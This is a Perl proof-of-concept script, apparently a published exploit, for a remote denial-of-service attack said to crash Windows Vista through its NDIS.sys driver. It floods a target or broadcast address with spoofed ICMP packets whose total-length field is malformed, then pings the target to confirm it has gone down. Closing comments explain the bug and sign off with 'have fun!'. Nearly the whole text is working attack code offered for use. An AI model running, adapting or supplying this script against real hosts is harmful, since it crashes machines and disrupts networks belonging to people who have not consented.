#!/usr/bin/perl
use Net::RawIP;
my $saddr		=	shift		||	'1.3.3.7';
my $daddr		=	shift		||	'192.168.0.255';
my $fragment		=	0x0;
print "[~] Initializing ICMP Null-Flood DoS.\n";
while($fragment<0xFFFF){
	my $icmp	=	new Net::RawIP({icmp =>{}});
	$icmp->set({
		ip => {
				saddr	=> $saddr,
		        	daddr	=> $daddr,
				ttl	=> 0xFF,
				tot_len	=> 0x0
		},
		icmp => {
				type		=> 0x8,
				code		=> 0x0,
				sequence	=> $fragment,
				data		=> 'A'
		}
	});
	$icmp->send(0x0,0x1);
	$fragment++;
}
my $ping=`ping -c 1 -l 1000 $daddr`;
if($ping=~/0 received/){
	print "[!] (Null-Flood) success!\n";
}else{
	print "[x] (Null-Flood) failed.\n";
}

#Windows Vista - ICMP Remote DoS.
#
#The error seem to be in the tot_len field of the ICMP packet.
#If the length of the data field exceeds the tot_len, the result is a BSoD.
#However, a few thousand packets are required. Therfore we choose to use the
#$fragment variable in order to determine the amount of packets.
#We haven't had the capabilities to debug the NDIS.sys driver, which seem to
#throw the error. Anyway, have fun!
#
#By: Fredrik Nordberg Almroth & Mathias Karlsson
#URL: http://h.ackack.net/
